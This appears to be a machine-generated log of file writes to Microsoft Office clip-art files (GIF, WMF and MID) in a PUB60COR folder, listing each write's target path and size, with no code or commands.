Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 4421 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 4005 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 3413 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 3157 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 20613 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 10869 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 14453 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 7109 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 3381 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 1621 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 8005 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 1861 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 26357 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 27893 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 3781 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 5861 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 3045 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 2789 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 7397 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 7573 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 6661 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 2133 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 9269 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 2373 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 6085 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 3445 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 2661 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 6661 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 4645 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 3173 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 7701 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 8517 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 7829 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 7829 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 2053 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 2517 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 3381 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 4325 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 3253 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 1 True 2
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 4837 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00130_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00194_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00195_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00242_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00247_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00248_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00254_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00261_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00262_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00265_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00269_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00270_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00273_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00274_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00296_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00390_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00392_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00524_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00525_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00526_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00648_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00921_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF size = 1 True 1
Fn
Data
